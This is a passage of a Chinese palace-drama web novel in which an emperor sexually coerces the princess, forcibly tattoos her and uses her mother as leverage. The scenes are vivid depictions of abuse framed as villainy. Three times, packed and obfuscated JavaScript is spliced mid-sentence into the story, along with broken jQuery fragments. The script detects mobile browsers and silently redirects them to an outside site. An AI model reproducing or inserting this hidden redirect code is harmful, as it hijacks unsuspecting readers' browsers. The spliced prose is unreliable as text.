霁蓝送吴中出去，屋里又剩下两个相对无言的影子。 “我母后怎么样了？”薛柔问，问毕转开视线。 那一天的强迫与疯狂，像恶鬼般缠了她数十个昼夜，好不容易淡忘，他又出现在面前，不是记忆幻影，是真真实实的薛怀义，被她从小到大作贱却一朝东山再起的薛怀义……她不能直视下去，不能让他的样子荼毒心目，否则，那窒息的片段就摆脱不掉了。 天知道她重见光明这刻，薛怀义等了多久。 他厌倦目光空洞的她，因为她瞧不见他，一番纠葛下来，却只有他自己如痴如醉、逼近癫狂的注视。 那怎么行？ 好了，现今她能视物了，又急不可耐地躲？ “看着朕，薛柔。” 薛怀义并不动手掰她，有前车之鉴，她会示弱的。 另外，他没叫她妹妹，是叫了她的名字，其中蕴含深意的： 几大世家里，王家倒了，崔家也岌岌可危了，此二者拔尖，将它们釜底抽薪，剩余的何足挂齿，那距离他恢复真实身份，改朝换代的目标，仅仅一步之遥。 届时，他要薛柔以妃子的名义，堂堂正正地承他的欢与恨，现在的直呼其名，算作令她提前适应来日生活的恩赐。 果然，薛柔一点点扭正面孔，承接他不可一世的注视。 “很好。”薛怀义夸她，今天的她，的确比上次讨喜，“以后，眼里须时时刻刻装着朕，没朕的允许，不可看别处，看别人，懂了么？” 为何不要求她的心中也只装他呢？ 他有数，崔介在她心中扎了根，一时铲不掉。 无碍，一个人的心是千变万化的，届时她的眼里全是他的痕迹，自然而然渗透内心。 “矢志不渝”这词，不适合恶贯满盈的薛柔，见异思迁才是她的本色。 薛柔答非所问：“我母后的病好了没有？” “想知道的话——”薛怀义负手站立，窗户洒进来的光芒不够去中和他眉目间的凌厉之气，“过来，吻朕。” 看着彼此瞳仁内逐渐放大的自己的容颜，是羞愤，是忿恨，是动情，细致地、清醒地感应唇齿依恋的滋味。 41. 嫉妒 吻他，由她开始，由他结束。 薛柔微笑，起身，将自己慢慢送出去。 不就是个吻吗，她可以忍受的，只要最后有利可图。 薛怀义单手接住她，拥她在怀，微微垂眸，看她在自己唇畔蜻蜓点水般碰了一下，很是寒酸。 “这么听话？”他凌空托住她的手腕，调侃道。 俗语说，听话的孩子有糖吃。 薛柔以前不信，兼而不屑，她是何许人，大周的十公主，父皇母后心尖上的人，一众哥哥姐姐疼惜的人，不必听话且呼风唤雨。 而今，时过境迁，物是人非，她要靠猫儿狗儿般的乖顺才能搏得一线希望了。 “可以告诉我，我母后的近况了么？” 她回避他关于听话与否的嘲弄，后试着抽动几下手腕，反而越陷越深，隐忍罢手，随他作弄去了，大不了等会多搓洗两遍手。 她认清现实，将来且有蒙受耻辱的时候，以一时的忍辱负重，换取来日的海阔天空，值了。 皂角香盈鼻，清淡芬芳，令人心旷神怡。 薛怀义悦然一笑，姑且还她自由，自行找位子坐定，左手随意摩摩挲右手拇指的玉扳指，闲闲道：“太后很好，像你一样地好。” 像她一样，那算哪门子好！ 薛柔冷下脸，眼里烧起了怒火，语中夹枪带棒：“休想糊弄我！你老实说，你把我母后怎么着了？” 还当是长进了，原来不过尔尔。 薛怀义坦然相告：“打发了几个禁军，时时看护太后的安危罢了。” 薛柔被囚禁那日，薛怀义故技重施，下令撤走原来慈宁宫的人，另换一批精心挑选的宫人及禁军，里里外外将慈宁宫填满，不折不扣把控了太后。 瞧，这就是薛怀义，一个个控制她最亲近的人，一点点踩碎她的信心，然后看她歇斯底里，看她孤立无援，看她心如死灰，最后只能“心甘情愿”地依附于他。 同样的把戏，见一次是新鲜，见两次就提不起劲来了。 薛柔惨笑道：“我想去看望我母后，条件是什么，你提好了。” 薛怀义停下摸玉扳指的动作，挑眉看她，反问：“不论什么条件，你都接受得了么？” 许久的缄默后，薛柔坚定道：“你得让我见到我母后，这是前提。” 她的牺牲与忍耐，是有底线的。 薛怀义不置可否，只勾手叫她过去。 她不上当，站原地，执拗道：“见不到我母后，我一头撞死，也不会凭你摆布。” “性子太烈，可不是件好事，”她不来，无妨，他过去拽她过来就是了，“不讨喜，招人记恨。” 三两步，她跟着一道牵引，摔到一双强有力的大腿上。 后腰处被那么一按，薛柔匍匐在一人身上，因无力支撑，头侧着贴在他的肩膀前。 二人的衣衫混在一起，没了边界。 短促的呼吸是谁的，骤升的体温又是谁的，已然分不清了。 “今儿把朕伺候满意了，朕就允你见一见太后。” 一头青丝铺了薛怀义一脸，盖住了他混浊不明的眼睛。 情欲勃然，贪心大起，不足为人道地肮脏，可怎么办，碰上她触及她的那日，他就脏了，再也洗不干净了。 木已成舟，不如顺应自然——霸占她的视线，占有她的身体，双管齐下。 总之，他没耐心等渗透完全那日了，他反悔了。 薛柔趴在他身上，以一种极致暧昧的姿势，吐出来的音节直入他耳：“怎么，伺候。” 薛怀义笑一笑：“当时怎么伺候崔介的，加倍用心伺候朕。” 脑子里的弦，绷断了。 好想杀了他，千刀万剐、五马分尸的那种。 “你，配吗？”薛柔缓慢地向发髻上移动右手，上面别着金簪，很是锋利，插入人的咽喉不算困难，“薛怀义，你扪心自问，你配和他相提并论吗？” 说着，她扭头，正视薛怀义。 跟薛怀义贴得太近了，几乎没有距离，他又异于常人地警觉，必须制造些话题分散他的注意力，要不然簪子到不了手里。 她以恶毒的字眼，单独咒骂他，他不恼，但用崔介来贬低他，不行。 一个翻身，天旋地转，双方变换位置，薛怀义在上，薛柔在下。 他捏住她的衣领一撕，外衫飞离。 “认识崔介区区一年，你就对他投怀送抱，两个人滚到了一张床上。你与朕抬头不见低头见，十年有余，反倒不准碰了？”他扼住她的脖颈，眼里升起狂风暴雨，“一个自轻自贱的婊|子，立什么贞洁牌坊？” 曾经，他问薛柔，眼看他与她出双入对，崔介会是各种心情，不甘，悔恨，还是嫉妒，薛柔固然没有答，他却断定，崔介是嫉妒的，嫉妒得要死。 现下，这种情绪再度席卷而来，侵略着他的四肢百骸——薛柔的初次情动给了崔介，他嫉妒，嫉妒到发狂。 她应该属于他，从头到脚，从身到心，生或死，爱或恨，独属于他。 终于，薛柔拿到了簪子，她藏着那支簪子，眼睛像浸了血般：“我是婊|子，你就是乌龟王八蛋！打自己妹妹主意的王八蛋！” “刺啦——” 上次悬崖勒马保住的小衣，终是无影无踪。 “你婊子，我混蛋，谁看了不说一句绝配？”薛怀义确实被激怒了，不惜完全暴露阴暗本色。 发现薛柔在抖，他轻蔑嗤笑：“你又不是第一次了，抖什么？或者说——”他放低身姿，凑在她耳际，“你害怕我不如崔介那般怜香惜玉？” 同那污言秽语一齐钻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799981|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入脑袋里的，是自尊心破裂的声音。 天啊，倒不如给她个痛快吧，这样活下去，还有什么意思？ 无声的泪水浸透了绝望的薛柔。 她直着眼，从压下来的肩膀探出一半视线，远望红日在蓝天滑行过的痕迹。 “来，告诉我，你和崔介颠鸾倒凤时，他都喜欢从哪里开始碰你。”崔介喜欢哪里，他就更狠地掠夺。 薛怀义一寸一寸打量身下的肌体，有欲望，更多的却是胜负欲，以及占有欲，比火焰更热烈。 薛柔如一条垂死的鱼，除了狼狈地喘息与流泪，再也做不到别的。 最讨厌独角戏了，所以，薛怀义动手，指尖自她的锁骨往下延伸，速度很慢——他在认真地感受她无意识的颤栗，那是因他而起的。 “答不上来？好，我换个问法，你喜欢崔介从哪一处开始触碰？嘴巴，脖子，胸口，还是……更见不得人地方？” 逃避，解决不了任何问题，该来的总会来。 薛柔深吸一口气，转眼面对他，轻轻道：“想知道吗？” 恶劣的挑逗未停，不顾一切地伸向了更隐蔽的地方，她小腹一紧，口内不自禁泄出一声惊呼。 “啧。”薛怀义表现得颇为嫌弃，“嘴上清高，身子却是诚实。叫你婊|子，没冤枉你。” 将簪子用力扎入他喉咙的决心，没有比这一刻更明确的时候了。 薛柔强忍不适，挥簪盯紧他直挺的脖子，再瞄准那凸出的、滚动着的喉结，说：“那么，你就做死在婊|子手下的第一个皇帝好了。” 话尽，奋力进攻。 她手里匿着簪子，薛怀义早有察觉，他按兵不动，是为不屑——他当空扣住那来势汹汹的手腕，抢走凶器，把玩在手，藐然一笑：“失败了，怎么办？” 堕落至这一步，薛柔也没腆脸活下去的心气了，将头一昂，冷漠到置身事外：“你杀了我，现在就杀了我，不然，总有一日我会要你死在我手下。” 薛怀义手持金簪，若有所思道：“比起杀你，我有一个更好的想法——”他调转发簪，使尖端挨上她的心口，“在这个地方，刻上‘皇兄’二字，怎么样？” 让她平生最厌恶的两个字，永永远远铸在心跳的位置，随她生，伴她死，彻底打上属于他的烙印。 这世间，恐怕寻不出比薛怀义更阴毒的人了。 过去的一幕幕，如浮光掠影，在眼前闪烁。 当初不择手段折辱薛怀义，后悔吗？ …… 不后悔，至死都不后悔。 想看她追悔求饶？ 痴人说梦！ 不就是刻两个字么？ 肉长在她身上，她说了算，他能刻，她就能毁，用刀割，用火燎…… 且走着瞧，最后是谁赢！ 42. 烙印 身体发肤受之父母，没有哪个良民会往皮肤上刺青的，偏是薛柔，公主之尊，眼睁睁看着胸口的皮肤由白变红再变青，堪堪填满横竖撇捺，一段段线条框成了两个难以启齿的字：皇兄。 命人收起带血的银针，薛怀义拍拍手起身，向裸身仰躺在床里的薛柔森森一笑：“很疼，对吧？” 对啊，疼，好疼啊。 想必，再用刀割去的时候会疼到要死的吧？ 薛柔不想理会他，瞅着窗外黄色调的天，思索到时割起来，是先从“皇”开始，还是从“兄“开始。 日出到日落，这场角逐持续得够久了，薛怀义该回去料理正事了——叫来崔安，好好谈一谈崔家的来日。 他立在床前，高高回顾一眼床上的他的杰作，越笑越深：“乖乖的，明儿带你去慈宁宫见太后。” 见了血，还是薛柔心口流淌的血，他高兴，不介意大方些，奖励奖励她。 薛柔保持安静，不回看，不回应。 薛怀义心情不错，姑且由她做一回主，对自己视而不见听而不闻，昂扬离去。 深夜，浴房水声迭起。 已经是第五遍清洗了，浑身的皮肤红白交错，红的是搓红的，白的是被水泡白的，尽管这样，还是不够清爽。 薛柔掬起水，浇在胸前，横擦竖抹，黑的依然黑，白的依然白。 脏，好脏，真脏……她再也不干净了。 累了，想睡觉。 薛柔垂下胳膊，向浴桶内坐下去，后脑勺枕在木桶边沿，蒙着水雾，缓缓闭上眼。 薛怀义承诺过带自己见母后，薛柔信了，一大早命人为自己梳妆打扮，越张扬越好，这是她最后的体面。 装束完毕，青萍站身后，夸赞镜中人：“放眼京城，竟无一人能与公主您媲美，难怪陛下……” 意识到失言，忙忙住嘴。 薛柔扶一扶云髻上的金凤凰步摇，眼神犀利：“难怪什么，说下去。” 皇帝乃她的禁忌，青萍万分懊悔，怎么一时嘴快，哪壶不开揭哪壶呢！ “难怪先皇和太后那么疼爱公主……” 按原话继续下去肯定是不可行的，青萍临场反应，编了个没法挑剔的话应对。 薛柔冷笑：“不如我来替你说好了：难怪皇帝甘愿冒天下之大不韪，而把他的妹妹据为己有。” 青萍尽量镇定道：“奴婢不敢。” “你嘴上不敢，心里恐怕嚼了不下一百次了吧？” 薛柔原就看身边青萍霁蓝两个不顺眼，两条走狗，跟她们的主子一样两面三刀。 青萍坚持分辩，薛柔不耐，手指一旁的地板：“我是你的主子，你敢一再顶撞我，想是活腻了。跪下，自己掌嘴，我不叫停，就是把这张脸打烂了也不许停！” 没有委屈，没有埋怨，青萍立刻跪倒，举手左右开弓，卖力抽起自己嘴巴子。 但凡青萍表现出少许哀怨来，薛柔心里还痛快些，至少还是个有自己思想的人，知道羞耻，知道疼痛，不至于被薛怀义完全掌控了；反观而今光景，她和个行尸走肉有什么两样，怕是烙铁烙到身上去都无怨无悔。那即便今儿打死了她，又有什么意义，反正一个奴婢，一条贱命，他薛怀义不会痛心的。 “够了，够了。”薛柔摆摆手，“出去，别在这碍我的眼了。” 青萍下手快准狠，将将十来耳刮子，两边脸颊已见红肿，凄凄惨惨。 青萍却似无知无觉，起身垂首告退，有条不紊，一气呵成。 听着薛柔在里面发火，霁蓝矜持着，没敢半途闯进去，回住处取来消肿化瘀的药膏，等青萍低头出来后交给了她。 青萍攥着药瓶，四下张望一番，声音里夹带疑虑：“这个时辰了，陛下还没过来吗？” 巳时将至，往常这个点，怎么也散朝了。 霁蓝也存着疑心，趁适才取药的工夫差人出去打听了一下，说是退朝后，陛下单独留下崔尚书，一块去上书房议事了，兼屏退所有人，门也关着，看样子一时半会完不了。 霁蓝向寝殿侧目，薛柔心眼子多，还是不必叫她听着，以免横生枝节，因拉青萍转出游廊，言简意赅说明情况，又嘱咐道：“这也是没办法，你脸不好受，你就躲开吧，我去安抚着公主。” 二人商量好，霁蓝快步折回，却见薛柔不知几时走了出来，靠坐在长廊的木栏杆上，容色黑压压的。 霁蓝沉稳上前，解释：“奴婢差人打探过了，陛下有政务缠身，不是有意要公主等的……公主再耐心些，陛下既答应了，肯定会兑现的。” 薛柔嗓子里哼了下：“是啊，他无论做了什么都不是存心的，就因为他是皇帝。” 她恨啊，恨他狼心狗肺，恨自己无能为力。 越劝越麻烦，霁蓝知趣，转移话题：“天儿见冷，您身子骨弱，要不回屋等吧。” 一面弯腰，比出搀扶的手势。 清透的日光分明照在身上，但不觉得暖和，凉意直从脚底升腾，薛柔抱住肩膀，搓了一搓，无视霁蓝的好意，自行起立。 头顶叽叽喳喳的，仰头一看，一只雀儿正在笼子里蹦来蹦去，时而扑腾翅膀。 “你搬个凳子，站上去把这鸟儿放了。” 真可怜，跟她一样。 雀儿虽为薛怀义命人豢养的，但他早先交代过，在这方宫苑里，一切以薛柔为主，她说什么，听就是。 思及此，霁蓝别无二话，开启笼子，任鸟展翅逃逸，尽情汲取新鲜空气。 薛柔又见，这地方各处悬着笼子，每一个笼子里均关着一条不得自由的生命，于是，她挥霍心意道：“这些鸟儿没昼没夜地叫唤，吵死个人，快快全放了，我耳根子清静，它们也好过。” 放一只没问题，可都放干净，未免太出格，霁蓝不敢擅自应承，及欲尝试进言，薛柔立时丢来一记眼刀子，尖刻道：“怎么，做不到？还是说，这点小事都必须向皇帝禀报过，得到同意，才能办？” 被揭破心事，霁蓝有些窘，秉着不招惹薛柔的原则，应声退下，和两个小宫女张罗着到处开笼子。 一时间，一双双挥动的翅膀缀满了天空，清光被根根软羽分散开来，点点斑驳。 薛柔纵目仰望，心满意足地绽放笑颜。 它们曾同她同病相怜，是她施予援手，还它们翱翔苍穹的权力。 她今日能拯救它们，终有一日也能拯救自己。 红日西沉，御驾光临。 薛柔端坐镜子前，冷眼瞧霁蓝暂停整理妆发，低头迎去门口恭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799982|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称“陛下”。 一角禇黄漫入镜面，那张阴柔的脸孔随之映现，奔着她的怒视逼近。 “胆子不小。” 他拾起妆台上的木梳，头略略一歪，霁蓝会意，埋头退走。 薛柔无畏无惧，反唇相讥：“你信不信，我还敢做更大胆的事。” 冰凉而生硬的梳齿插入发间，轻缓地移动。 薛怀义迸发调笑：“比如？说来听听。” 理该将他推远些的，奈何梳子勾着发丝，贸然推搡，会弄乱发髻的。 她很珍视今天的行头，饶腰酸脖子困，也不肯躺下小憩，因为怕睡乱装扮，再重新打扮，会耽误去见母后。 现在同样，她极力忍下头顶盘旋的恶寒，以镜子为媒介，同他的轻佻的目光交锋：“将刀子扎进你的咽喉，亲眼见证血流如注的场面。” 她没在玩笑。 沉寂的几个月，她已思虑周全，一共两条路：一、寻求庇佑，能逃则逃，此为首选；二、逃不成，那就和薛怀义同归于尽。 手突然被抓起来，伸去他跳动的命脉前：“血流如注吗？给你机会，试试吧。” 砰，砰，砰……脉搏和心跳同步。 薛柔缩手，像在告诫自己：“不是现在。现在我要去慈宁宫，见我母后。” 合拢的掌心冲入两根手指，触感粗砺，是薛怀义的。 “自作主张放走朕饲养的宠物，很不老实，该罚，不过谁让朕心情好呢，便不和你计较了。” 继王家后，崔家也快销声匿迹了，改朝换代，唾手可得，他十分痛快。 能顺利面见母后的话，忍气吞声些，倒可勉强接受。 薛柔收敛锋芒，安静注视微微松散的发髻在他可恶的手里，一点点精致起来。 夜风卷着二人的足迹经过坤宁宫，但见朱门紧闭，黯淡无光，巍峨庄严不复存在，真似一座深不见底的坟茔。 薛柔驻足，打量为自己遮风避雨十六年的家，诧异、惊疑：“为何，为何变成了这样？” 她转头，纵容薛怀义尖削的侧脸填满视野。 他恨她，恨到不惜将坤宁宫毁掉的地步，可，王媖不是皇后吗，坤宁宫此等落魄，置皇后的体面于何处？ 王媖“病逝”，坤宁宫空置的消息，阖宫上下知，独薛柔不知，实为薛怀义授意隐瞒，主要是她病气未除，知道过多不利养病。 如今，王家势力荡清，她又生龙活虎起来，告诉她也不妨事了。 “两月前，皇后病故。宫无主位，自然荒凉。”薛怀义淡淡道。 薛柔糊涂了，王媖才多大，平时没病没灾，怎么说病故就病故了？ 她难以置信，盯着薛怀义半隐在夜色下的脸看了好半晌，他始终一个样子，不悲不喜，这是他说真话时候的模样。 她竟如此该死地了解他。 喉管莫名发堵。 薛柔转身，暗红的墙壁在余光里拖出一道道痕影子，交错缭乱。 眼睛不好受，起初是干，干过了头，开始发酸。她抬手，向眼尾一试，没有泪。 对的，这才对。 死的是他薛怀义的发妻，他且无动于衷，以她的立场，何必动恻隐之心。 总之，王媖，死不足惜。 43. 恶鬼 太皇太后信佛，寝宫里设着佛龛，终日香火不断，每月初一十五吃斋念佛，一连四十年，横跨太后的大半辈子。 虽然耳濡目染，但太后不信，为此，太皇太后颇有微词。 现在，她自己也六十岁了，和当初令人生厌的太后一个年纪，心境也变了——如果做个虔诚的佛教徒，无边佛法可渡薛柔之苦厄，她愿意摒弃原则。 门外有人敲门，接着有开门声，太后瞑目拨弄一串佛珠，不理不睬。 许嬷嬷叫遣送出宫了，皇帝另挑了个三十来岁的宫女给太后使唤，名叫小水，因资历不浅，大家全叫她水姑姑。 推门进来的正是水姑姑，她接到信儿，得知皇帝一会要过来，想着太后还不知情，特意知会一声：“太后娘娘，陛下和十公主正往咱们这来呢，专程来探望您。” 太后睁眼，收起佛珠，瞧了水姑姑一阵，没言语，扶墙起来，蹒跚去门口。 先帝去后，太后一病不起，悉心调养这些时，病是见好，腿脚却不利索了，略动一动筋就别得发疼，而太后骨子里要强，即便疼得要紧，每天也咬牙下地锻炼。由于日子太短，尚未取得成效。 太后一把岁数，倔得很，日常极少吩咐水姑姑办事，起初，水姑姑深感彷徨，久而久之，习以为常，太后自个做什么，她就在暗处守着，以防差池。 现下照惯例，水姑姑默默站太后身后，一齐等候御驾。 不多时，宫门大开，一列人为首打道，程胜高呼“皇上驾到”。 皇帝不皇帝，太后不关心，她只关心她那厄运缠身的女儿。 豪大的排场下，薛怀义牵着薛柔，款款走入太后双目。 当着母后，与薛怀义手牵手肩并肩，薛柔简直无地自容，无奈使上所有力气，亦摆脱不掉手上的枷锁，好像刚才在路上，她顶风狂奔，最终仍旧被薛怀义后来居上，并无情擒拿一样。 他在用实际行动告诉她，只要他活着一日，她就插翅难逃。 是吗？她偏不信。 所以她强行举高彼此缠紧的手，朝着他的虎口咬下去，似一头饿狼，遇上了新鲜的食物。 老实说，薛怀义没防备，一下吃痛，手下一松，然后就让薛柔逃出了掌心。 薛柔不假思索，迎着母后张开的臂膀，一头扑过去，泪如泉涌。 抚摸着女儿细弱的后背，太后潸然泪下。 母女连心，哀情无限。 “过来。” 薛怀义不介意再大逆不道一回，让“母女”跟“兄妹”两种关系转个次序，先是“兄妹”，后是“母女”。 此前孤军奋战，薛柔没在怕薛怀义的，而重回母后的怀抱后，一颗心脆弱不已，再也不愿意独自面对了。 “母后，我不……” 从母后轻柔的拥抱中抬头，她不停摇头。 为母则刚，太后拍拍她没几两肉的肩膀，揩去眼泪，直拉她扭头进屋，不管后边气势汹汹的一干人等。 水姑姑授皇帝之意，挺身拦住二人，垂着眼皮说：“请公主回去。” 薛怀义忘恩负义也就罢了，这人算个什么东西，狗仗人势的货色！ 薛柔怒从心头起，回头对上那抹暗光，怨恨道：“凭什么听你的。我母后贵为一国太后，我凭什么，听你的。” 太后支起微微佝偻的身躯，向前一步，将薛柔护住，不怒自威：“皇帝，她是你的妹妹。” 薛怀义不理睬太后的敲打，慢慢重复那两个字：“过，来。” 病态的占有欲作祟，即便薛柔急切奔赴的对象乃生身之母，他亦不爽。 她这个人，这辈子，只能走向他。 母后在旁，薛柔底气充沛，斩钉截铁回复：“我不，我不过去，死也不过去，听清楚了吗？” 母后可以庇佑她的，一定可以的。 薛怀义气笑了，下最后通牒：“你知道的，朕没什么耐心，所以，过来。” 积极认错，主动弥补，他可以不计前嫌。 直击灵魂的警告。 薛柔不由自主发颤，太后按着她的胳膊，清晰觉察，安慰：“别怕，母后在这。” 声音出奇温柔，宛如回到了小时候，她调皮捣蛋后，生怕皇祖母动气处罚她，躲在母后身边，而母后捏捏她的脸蛋，笑说：别怕，有母后在呢，皇祖母不能罚你。 沐浴着儿时记忆的温暖，薛柔允许自己倒退十来年，以小孩子的姿态寻求母后的庇护。 “哀家的女儿，哀家自己照顾，皇帝且回吧。” 太后摆出皇帝嫡母的款儿，昂首挺胸，威严庄重，凛然不可冒犯。 薛怀义才正眼注意起对面这个白发苍苍的老妇人，即他名义上的母亲。 外人看来，她待他仁至义尽，名分给了，体面给了，没有她，当年的太子之位及现在的皇位，哪里敢奢望，理当对她的仁慈包容感激涕零。 感激？ 呵…… 是感激他的好母后明知薛柔欺辱他，却袖手旁观？ 还是感激她生了一个“好女儿”，大度地给她宠爱，独独吝啬于教导她为人处事之道，从而铸就了她的蛇蝎心肠？ 倘若是以上两点，那他的确应当“感恩戴德”。 “看来，是朕近来太惯着你的缘故。” 薛怀义稍抬下巴，手举起来，向后动动指头，立有两个内侍出列，一个箭步，分别押住太后的两边肩膀，告一句“得罪”，继而将人制伏在一侧。 薛柔，暴露在晃眼的灯光之下，无处遁形。 “母后！”薛柔惊呼，刚收住的泪直接决堤，糊了满脸。 那两个内侍钳着母后，静悄悄立在不远处，她举步奔去，首先怒斥：“松开你们的脏手！松开！我叫你们松开，你们聋了是不是？！” 他们视若无睹，听若未闻。 母后年事已高，落在他们手里，两只胳膊被硬别在后边，脸色全是痛苦，就这样，还在宽慰她：“小十，我没事，你不要哭，当心身体……” 太后已是一块朽木，迟早都是死，薛柔不一样，她今年才十七岁，大好的人生刚开了个头，不能再有闪失了。 他们不放，薛柔便抛舍嫌弃之意，亲自上手扒拉，怎敌像是在和两块铁板较劲，她这边努力得大汗淋漓，形势就是不见明朗，母后也因为她蛮力掰扯愈加受罪，眉头越发锁紧了。 薛怀义背负万丈火光，漠视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799983|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她使上九牛二虎之力抗争，争来争去，穷途末路，不得不记起他的存在，懂事地向他示弱。 自己受辱吃苦，薛柔可以忍耐，搭上至亲，忍无可忍。 她狠狠摔手，大步走向那虎口，含泪说：“我过来了，别为难我母后。” 薛怀义丢个眼色示下，俩内侍同时松手，水姑姑忙去扶住太后危如累卵的身子。 太后心里装着愤怒，恨屋及乌，白着脸推开水姑姑，面向薛怀义：“皇帝，你不该忘恩负义，更不该对你妹妹起歹意！” 薛怀义并不理太后的谴责，深幽的凝视几近将薛柔整个人吞噬。 他语调上扬，反问她：“你自己说，是朕忘恩负义，还是你们有眼无珠。” 母后是他要挟自己的有力筹码，一旦她表现出违逆的苗头，他会毫不手软地折磨母后的，薛柔分外清楚。 清楚之外，无限悲哀。 认输吧，至少是现在，一切为了母后的安危。 “是我，”她抬头，自愿卷入名为薛怀义的漩涡，“是我有眼无珠，是我不自量力，一切都怨我。满意了吗？” 她直直地盯着他，心底分明哀戚万状，眼底却惊不起一丝涟漪：“满意的话，请你放过我母后，也请你念在太后娘娘也是你的母后的份上，许太后娘娘安度晚年。” 承认母后也是他的母后，是目前她能做的最大让步。 薛怀义嗤笑：“母后？行啊，那朕的十妹妹，你转过去，亲口告诉母后，这些天，你与朕，发生了什么。” 发生了什么？ 亲吻，抚摸，刺字，只差最后一步，薛柔就真成一滩烂泥了。 诸此种种，叫她如何说得出口！ “羞于启齿是么？”她羞，她耻，她愤，薛怀义截然相反，对此引以为傲，“那朕替妹妹说好了——” 他转视太后：“妹妹投怀送抱，朕欣然笑纳——亲了，摸了，如果不是她哭得厉害，更深的亦不在话下。母后，您可听明白了？” 脸面、尊严、灵魂，没了，都没了。 薛怀义准确接住颓丧倒下的薛柔，环于胸前，指尖轻捻她鬓边的一缕碎发，像极了柔情蜜意替妻子撩拨碎发的丈夫。 太后做梦也料想不到，自己这些年冷漠以待的怯懦无能的老好人“儿子”，竟是个青面獠牙的恶鬼！ 报复，是报复，用玷污她的心肝肉的举动来报复她对他的放任自流……恶毒，实在恶毒！ 如太后所想，薛怀义就是在报复。 “妹妹已然和离，复归自由身，而朕，不日会立她为后，她也会为朕生儿育女。”他笑得阴险又恣肆，“不知母后是打算依旧认她作公主呢，还是跟着朕来，将她当儿媳呢？” 一个半路认祖归宗的皇子，一个一步登天的太子身份，终究套住了三个人，儿子不像儿子，女儿不像女儿，母亲不像母亲。 剪不断，理还乱。 太后望天，大悲，偏偏无泪。 “哀家累了，想回去歇下了。” 这辈子都没这么累过，必须得闭眼歇一歇了。 孤零零的背影，渐渐被隔绝在关闭的门扇后。 这场闹剧，终将平息。 44. 求救 初冬，薛怀义出生的日子，一路数下来，今年正正好是整数，他二十岁了。 帝生辰日，举国欢庆，薛柔也跟着沾光，得以踏出乾清宫，见一见外面的景色。 寿宴设在太极宫正殿，现在是傍晚，恰是人满为患时，薛怀义忙着高坐主位，与文武大臣推杯换盏，只交代青萍霁蓝伺候薛柔穿戴齐整，而后引她过去。 这将是他和她第一次以暧昧不明的身份，正式出现在文武面前。 他待昭告天下，但他愿意，妹妹也可以不止是妹妹。 几次三番的对峙，最后皆以薛柔落败收场，不争的现实逼着她按兵不动，另谋它路： 寻一个薛怀义不在的场合，直接到仁寿宫，拜见皇祖母。放眼这皇宫，唯有皇祖母能解救她和母后于水火。而今天，薛怀义正在大殿应酬，岂不是天赐良机？ “公主，您看一看您喜欢哪一身，待会去宴席穿。” 霁蓝指挥几个手捧礼服首饰的宫女进门来，提醒她从中挑选——这些装束尽乃薛怀义特特吩咐尚衣局，按着她的尺寸所裁制，昨日完成，交由他过目后，方送来。 她自己穿什么衣裳戴什么饰品，由不得自己做主，反由他全权决定，何不谓可笑呢。 薛柔满腹怨怼，碍于大事在前，到底忍下来，横向扫一眼，一身赛一身华美，的确是她的品味，平常穿穿高兴没所谓，一会可是打算避人耳目的，衣服太过繁琐，未免束手束脚，于是乎，她指中当中款式最简单的一件，说：“就这身好了。” 穿完戴完，天色见暗，青萍霁蓝人手提个灯笼，一左一右夹着薛柔出门，竟也不知是提前察觉到她可能有动静而刻意警醒，还是生来就多心，凭本能多留了个心眼子。 不管出于哪个原因，这个千载难逢的机会，她是必然抓住的。 乾清宫出来的很长一段路，夹道两侧均矗立着高大宫墙，路面一眼望到尽头，无甚磕绊，自然无甚躲藏之处，薛柔便不动如山。 及行尽这段宫道，眼界开阔起来，路径同时复杂起来。 她暗道，时机到了。 “咦？手帕子好像是落了。” 薛柔站定，在腰间摸了两把，神色茫然。 是霁蓝近身服侍的穿戴，霁蓝说：“应当是带了的，要不您再仔细找找？” 本就是蓄意支走她，自然有备而来——出门之前，趁无人注意，将帕子仍遗失在住处。 薛柔装模作样翻找一遍，蹙眉道：“指定是忘了，你还是回去瞧一瞧，若没有，便拿条新的过来。” 霁蓝一头雾水，心中嘀咕着，看了一眼青萍，答应着去了。 现在只剩下青萍了，得赶在霁蓝返回以前把人弄开。 薛柔也看看青萍，暗暗琢磨借口。 “一来一回挺远的，随便转转吧，等霁蓝回来，一起过去。”薛柔四下望望，找准去处，“前面拐个弯，到御花园。这个季节，湖面雾蒙蒙一片，甚是赏心悦目。” 薛柔近来收敛锋芒，绝口不提其他是非，成功骗过薛怀义，以为挟持太后在手，她绝不敢朝三暮四，不然今晚也不会许她出来见人。 狡猾如薛怀义尚且信以为真，青萍霁蓝两个当然有所松懈，当下青萍没多想，横竖顺路，时辰也不紧张，便依她之意，挑灯往御花园去。 